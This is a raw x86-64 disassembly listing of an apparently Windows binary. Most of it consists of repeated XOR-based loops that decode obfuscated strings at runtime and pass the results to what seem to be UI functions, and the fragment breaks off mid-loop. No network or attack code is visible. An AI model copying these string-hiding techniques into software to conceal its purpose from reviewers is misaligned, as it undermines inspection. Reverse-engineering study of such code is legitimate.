mov dword [rbp + 0xe], eax
movzx eax, byte [0x140173c44]
mov byte [rbp + 0x12], al
movsd qword [rbp + 6], xmm0
cmp r15d, 2
jl 0x14005dfa8
movdqa xmm2, xmmword [0x1401742f0]
mov r8d, 8
movdqa xmm3, xmmword [0x140174310]
movdqa xmm1, xmm2
movdqa xmm4, xmmword [0x1401744f0]
movdqa xmm0, xmm2
mov eax, dword [str.8888888888888888]
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140174320]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x140174370]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [str.iLSXW]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rbp + 6], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140174320]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140174370]
movd xmm1, dword [rbp + 0xa]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0xa], xmm2
movsxd rax, r8d
lea r9, [rbp + 6]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0xa0a0a0a1
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x38
xor byte [r9 - 1], al
cmp r8d, 0xd
jl 0x14005dfc0
cmp byte [0x14017385f], r13b
lea rax, [rbp + 6]
mov qword [rbp + 0x6b8], rax
mov rax, qword [str.yPWejs_LXIPWTRS_n_ck_g_t.9_]
mov qword [rbp - 2], rax
je 0x14005e164
cmp r15d, 2
jl 0x14005e121
movdqa xmm2, xmmword [0x1401742f0]
movdqa xmm3, xmmword [0x140174310]
movdqa xmm1, xmm2
movdqa xmm4, xmmword [0x1401744f0]
movdqa xmm0, xmm2
mov eax, dword [str.8888888888888888]
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140174320]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140174370]
movd xmm1, dword [rbp - 2]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movdqa xmm0, xmm3
xorps xmm2, xmm1
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd dword [rbp - 2], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140174320]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140174370]
movd xmm1, dword [rbp + 2]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 2], xmm2
jmp 0x14005e164
lea r9, [rbp - 2]
mov r8d, r13d
nop dword [rax + rax]
mov eax, 0xa0a0a0a1
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x38
xor byte [r9 - 1], al
cmp r8d, 8
jl 0x14005e130
movsd xmm0, qword [0x1401735d8]
lea rax, [rbp - 2]
mov qword [rbp + 0x6c0], rax
mov r8d, r13d
mov eax, dword [0x1401735e0]
mov dword [rbp + 0x1b], eax
movzx eax, byte [0x1401735e4]
mov byte [rbp + 0x1f], al
movsd qword [rbp + 0x13], xmm0
cmp r15d, 2
jl 0x14005e2a3
movdqa xmm2, xmmword [0x1401742f0]
mov r8d, 8
movdqa xmm3, xmmword [0x140174310]
movdqa xmm1, xmm2
movdqa xmm4, xmmword [0x1401744f0]
movdqa xmm0, xmm2
mov eax, dword [str.8888888888888888]
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140174320]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x140174370]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [0x1401735d8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rbp + 0x13], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140174320]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140174370]
movd xmm1, dword [rbp + 0x17]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x17], xmm2
movsxd rax, r8d
lea r9, [rbp + 0x13]
add r9, rax
nop dword [rax]
mov eax, 0xa0a0a0a1
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x38
xor byte [r9 - 1], al
cmp r8d, 0xd
jl 0x14005e2b0
mov dword [rsp + 0x28], 5
lea r9, [rbp + 0x6b8]
lea rdx, [0x1401efde0]
mov dword [rsp + 0x20], 2
lea rcx, [rbp + 0x13]
call fcn.140037cc0
mov rax, qword [0x1401ba210]
mov rcx, qword [rax + 0x3ee0]
cmp byte [rcx + 0xb3], r13b
jne 0x14005e33b
mov eax, dword [rcx + 0x1ac]
neg eax
sbb ecx, ecx
add ecx, 6
call fcn.140036920
mov rax, qword [0x1401ba210]
mov rcx, qword [rax + 0x3ee0]
movss xmm1, dword [rcx + 0x18]
movss xmm0, dword [rcx + 0x248]
subss xmm0, xmm1
cmp qword [rcx + 0x1a0], r13
jne 0x14005e365
cmp qword [rax + 0x4b28], r13
je 0x14005e371
movss xmm0, dword [rcx + 0x218]
subss xmm0, xmm1
mulss xmm0, xmm9
mov r8d, r13d
subss xmm0, dword [rax + 0x37e8]
mov eax, dword [str.qqrrD]
mov dword [rbp + 0x77], eax
movzx eax, byte [0x140173dd4]
mov byte [rbp + 0x7b], al
mov dword [rbp + 0xdc], 0x420c0000
addss xmm0, xmm11
movss dword [rbp + 0xd8], xmm0
movsd xmm0, qword [0x140173dc8]
movsd qword [rbp + 0x6f], xmm0
cmp r15d, 2
jl 0x14005e4c9
movdqa xmm2, xmmword [0x1401742f0]
mov r8d, 8
movdqa xmm3, xmmword [0x140174310]
movdqa xmm1, xmm2
movdqa xmm4, xmmword [0x1401744f0]
movdqa xmm0, xmm2
mov eax, dword [str.8888888888888888]
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140174320]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x140174370]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [0x140173dc8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rbp + 0x6f], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140174320]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140174370]
movd xmm1, dword [rbp + 0x73]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x73], xmm2
movsxd rax, r8d
lea r9, [rbp + 0x6f]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0xa0a0a0a1
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x38
xor byte [r9 - 1], al
cmp r8d, 0xd
jl 0x14005e4e0
lea rdx, [rbp + 0xd8]
lea rcx, [rbp + 0x6f]
call fcn.1400345b0
test al, al
je 0x14005e546
mov eax, dword [0x1401efde0]
test eax, eax
jne 0x14005e53b
mov byte [0x1401bb34f], 1
jmp 0x14005e546
cmp eax, 1
jne 0x14005e546
mov byte [0x1401ba28b], al
movaps xmm1, xmm12
movaps xmm0, xmm10
call fcn.140016650
mov rdx, qword [0x1401ba210]
mov rax, qword [rdx + 0x3ee0]
movss xmm1, dword [rax + 0x18]
movss xmm0, dword [rax + 0x248]
subss xmm0, xmm1
cmp qword [rax + 0x1a0], r13
jne 0x14005e584
cmp qword [rdx + 0x4b28], r13
je 0x14005e590
movss xmm0, dword [rax + 0x218]
subss xmm0, xmm1
mulss xmm0, xmm9
lea rcx, str.Disable23555
mov dword [rbp + 0x3c4], 0x420c0000
subss xmm0, dword [rdx + 0x37e8]
lea rdx, [rbp + 0x3c0]
addss xmm0, xmm11
movss dword [rbp + 0x3c0], xmm0
call fcn.1400345b0
test al, al
je 0x14005e98e
movups xmm0, xmmword [0x1401735c8]
movups xmmword [rbp + 0x7d0], xmm0
psrldq xmm0, 0xf
movd eax, xmm0
test al, al
je 0x14005e784
cmp r15d, 2
jl 0x14005e739
movdqa xmm0, xmmword [str.8888888888888888]
lea rcx, [rbp + 0x7d4]
movdqa xmm5, xmmword [0x1401742f0]
mov edx, r13d
movdqa xmm4, xmmword [0x1401744f0]
movdqa xmm6, xmmword [0x140174320]
movdqa xmmword [rsp + 0x60], xmm0
mov r8d, dword [rsp + 0x60]
nop dword [rax]
movd xmm2, edx
lea eax, [rdx + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add edx, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x140174370]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 0xc], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, r8d
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140174370]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp edx, 0x10
jl 0x14005e630
jmp 0x14005e784
lea r9, [rbp + 0x7d0]
mov r8d, r13d
nop dword [rax]
nop word [rax + rax]
mov eax, 0xa0a0a0a1
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x38
xor byte [r9 - 1], al
cmp r8d, 0x10
jl 0x14005e750
comiss xmm13, dword [0x1401db7ec]
jbe 0x14005e79c
lea rax, [rbp + 0x7d0]
mov qword [0x1401b7df0], rax
movups xmm0, xmmword [0x1401735c8]
mov byte [0x1401ba28c], 1
mov dword [0x1401db4ac], r13d
movups xmmword [rbp + 0x6c8], xmm0
psrldq xmm0, 0xf
movd eax, xmm0
test al, al
je 0x14005e964
cmp r15d, 2
jl 0x14005e919
movdqa xmm0, xmmword [str.8888888888888888]
lea rcx, [rbp + 0x6cc]
movdqa xmm5, xmmword [0x1401742f0]
mov edx, r13d
movdqa xmm4, xmmword [0x1401744f0]
movdqa xmm6, xmmword [0x140174320]
movdqa xmmword [rsp + 0x60], xmm0
mov r8d, dword [rsp + 0x60]
nop dword [rax + rax]
movd xmm2, edx
lea eax, [rdx + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add edx, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x140174370]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 0xc], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, r8d
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140174370]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp edx, 0x10
jl 0x14005e810
jmp 0x14005e964
lea r9, [rbp + 0x6c8]
mov r8d, r13d
nop dword [rax]
nop word [rax + rax]
mov eax, 0xa0a0a0a1
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x38
xor byte [r9 - 1], al
cmp r8d, 0x10
jl 0x14005e930
lea rax, [rbp + 0x6c8]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], r13b
jne 0x14005e972
lea rdx, [rbp + 0x6c8]
lea rcx, [0x1401b92c0]
call fcn.140042c70
call fcn.14000c5a0
call fcn.140016b30
movaps xmm1, xmm12
movaps xmm0, xmm10
call fcn.140016650
call fcn.1400169e0
mov rcx, qword [0x1401ba210]
mov rax, qword [rcx + 0x3ee0]
mov byte [rax + 0xb0], 1
mov rax, qword [rcx + 0x3ee0]
movss xmm0, dword [rax + 0x1c]
subss xmm0, dword [rax + 0x80]
addss xmm0, dword [0x140174170]
movss dword [rax + 0xfc], xmm0
mov byte [rax + 0x139], 1
mov rax, qword [rcx + 0x3ee0]
movss xmm0, dword [rcx + 0x3830]
mulss xmm0, xmm9
movss xmm2, dword [rax + 0x24c]
subss xmm2, dword [rax + 0x1c]
movss xmm1, dword [rax + 0x248]
mulss xmm2, xmm9
addss xmm2, dword [0x140174180]
subss xmm2, xmm0
movss xmm0, dword [rax + 0x18]
subss xmm1, xmm0
subss xmm2, xmm13
cmp qword [rax + 0x1a0], r13
jne 0x14005ea44
cmp qword [rcx + 0x4b28], r13
je 0x14005ea50
movss xmm1, dword [rax + 0x218]
subss xmm1, xmm0
movss xmm0, dword [rcx + 0x382c]
lea rdx, [rbp + 0x3b8]
movzx eax, byte [0x140173fc8]
lea rcx, [rbp - 0x34]
mulss xmm0, xmm9
xor al, 0x40
mov byte [rbp - 0x2c], al
mulss xmm1, xmm9
movss dword [rbp + 0x3bc], xmm2
subss xmm1, xmm0
movsd xmm0, qword [0x140173fc0]
movsd qword [rbp - 0x34], xmm0
xor byte [rbp - 0x33], 0x39
xor byte [rbp - 0x32], 0x3a
xor byte [rbp - 0x31], 0x3b
subss xmm1, dword [0x14017415c]
xor byte [rbp - 0x30], 0x3c
xor byte [rbp - 0x2f], 0x3d
xor byte [rbp - 0x2e], 0x3e
xor byte [rbp - 0x2d], 0x3f
movss dword [rbp + 0x3b8], xmm1
mov byte [rbp - 0x34], 0x45
call fcn.14000c490
mov eax, dword [0x140173ec0]
mov r8d, r13d
movsd xmm0, qword [0x140173eb8]
mov dword [rbp + 0x108], eax
movzx eax, byte [0x140173ec4]
mov byte [rbp + 0x10c], al
movsd qword [rbp + 0x100], xmm0
cmp r15d, 2
jl 0x14005ec0d
movdqa xmm2, xmmword [0x1401742f0]
mov r8d, 8
movdqa xmm3, xmmword [0x140174310]
movdqa xmm1, xmm2
movdqa xmm4, xmmword [0x1401744f0]
movdqa xmm0, xmm2
mov eax, dword [str.8888888888888888]
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140174320]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x140174370]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [0x140173eb8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rbp + 0x100], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140174320]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140174370]
movd xmm1, dword [rbp + 0x104]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x104], xmm2
movsxd rax, r8d
lea r9, [rbp + 0x100]
add r9, rax
nop word [rax + rax]
mov eax, 0xa0a0a0a1
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x38
xor byte [r9 - 1], al
cmp r8d, 0xd
jl 0x14005ec20
movsd xmm0, qword [str.Q_VO]
lea rax, [rbp + 0x100]
movsd qword [rbp - 0x2b], xmm0
xor byte [rbp - 0x2a], 0x39
xor byte [rbp - 0x29], 0x3a
xor byte [rbp - 0x28], 0x3b
xor byte [rbp - 0x27], 0x3c
xor byte [rbp - 0x26], 0x3d
xor byte [rbp - 0x25], 0x3e
xor byte [rbp - 0x24], 0x3f
mov qword [rbp + 0xc20], rax
movzx eax, byte [0x140173ef0]
xor al, 0x40
mov byte [rbp - 0x2b], 0x43
cmp byte [0x140173e1f], r13b
mov byte [rbp - 0x23], al
lea rax, [rbp - 0x2b]
mov qword [rbp + 0xc28], rax
mov rax, qword [str.JJeRF_W_YPX]
mov qword [rbp + 0x34], rax
je 0x14005ee04
cmp r15d, 2
jl 0x14005edc8
movdqa xmm2, xmmword [0x1401742f0]
movdqa xmm3, xmmword [0x140174310]
movdqa xmm1, xmm2
movdqa xmm4, xmmword [0x1401744f0]
movdqa xmm0, xmm2
mov eax, dword [str.8888888888888888]
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140174320]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140174370]
movd xmm1, dword [rbp + 0x34]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movdqa xmm0, xmm3
xorps xmm2, xmm1
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd dword [rbp + 0x34], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140174320]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140174370]
movd xmm1, dword [rbp + 0x38]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x38], xmm2
jmp 0x14005ee04
lea r9, [rbp + 0x34]
mov r8d, r13d
nop
mov eax, 0xa0a0a0a1
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x38
xor byte [r9 - 1], al
cmp r8d, 8
jl 0x14005edd0
cmp byte [0x140173c6b], r13b
lea rax, [rbp + 0x34]
movsd xmm0, qword [str.tVYZHTQQ3bC]
mov qword [rbp + 0xc30], rax
mov eax, dword [0x140173c68]
mov dword [rbp + 0x17b], eax
movsd qword [rbp + 0x173], xmm0
je 0x14005efa4
mov r8d, r13d
cmp r15d, 2
jl 0x14005ef55
movdqa xmm2, xmmword [0x1401742f0]
mov r8d, 8
movdqa xmm3, xmmword [0x140174310]
movdqa xmm1, xmm2
movdqa xmm4, xmmword [0x1401744f0]
movdqa xmm0, xmm2
mov eax, dword [str.8888888888888888]
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140174320]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x140174370]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [str.tVYZHTQQ3bC]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rbp + 0x173], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140174320]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140174370]
movd xmm1, dword [rbp + 0x177]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x177], xmm2
movsxd rax, r8d
lea r9, [rbp + 0x173]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0xa0a0a0a1
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x38
xor byte [r9 - 1], al
cmp r8d, 0xc
jl 0x14005ef70
mov dword [rsp + 0x28], 2
lea r9, [rbp + 0xc20]
lea rdx, [0x1401efdcc]
mov dword [rsp + 0x20], 3
lea rcx, [rbp + 0x173]
call fcn.140037cc0
mov rax, qword [0x1401ba210]
mov rcx, qword [rax + 0x3ee0]
cmp byte [rcx + 0xb3], r13b
jne 0x14005effe
mov eax, dword [rcx + 0x1ac]
neg eax
sbb ecx, ecx
add ecx, 6
call fcn.140036920
mov rax, qword [0x1401ba210]
mov rcx, qword [rax + 0x3ee0]
movss xmm1, dword [rcx + 0x18]
movss xmm0, dword [rcx + 0x248]
subss xmm0, xmm1
cmp qword [rcx + 0x1a0], r13
jne 0x14005f028
cmp qword [rax + 0x4b28], r13
je 0x14005f034
movss xmm0, dword [rcx + 0x218]
subss xmm0, xmm1
cmp byte [0x140173e35], r13b
mulss xmm0, xmm9
subss xmm0, dword [rax + 0x37e8]
mov eax, dword [0x140173e30]
mov dword [rbp + 0x796], eax
movzx eax, word [0x140173e34]
mov dword [rbp + 0x3b4], 0x420c0000
addss xmm0, xmm11
mov word [rbp + 0x79a], ax
movss dword [rbp + 0x3b0], xmm0
movups xmm0, xmmword [0x140173e20]
movups xmmword [rbp + 0x786], xmm0
je 0x14005f224
mov r8d, r13d
cmp r15d, 2
jl 0x14005f1df
movdqa xmm0, xmmword [str.8888888888888888]
lea rcx, [rbp + 0x78a]
movdqa xmm5, xmmword [0x1401742f0]
movdqa xmm4, xmmword [0x1401744f0]
movdqa xmm6, xmmword [0x140174320]
movdqa xmmword [rsp + 0x60], xmm0
mov edx, dword [rsp + 0x60]
nop dword [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x140174370]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 0xc], xmm2
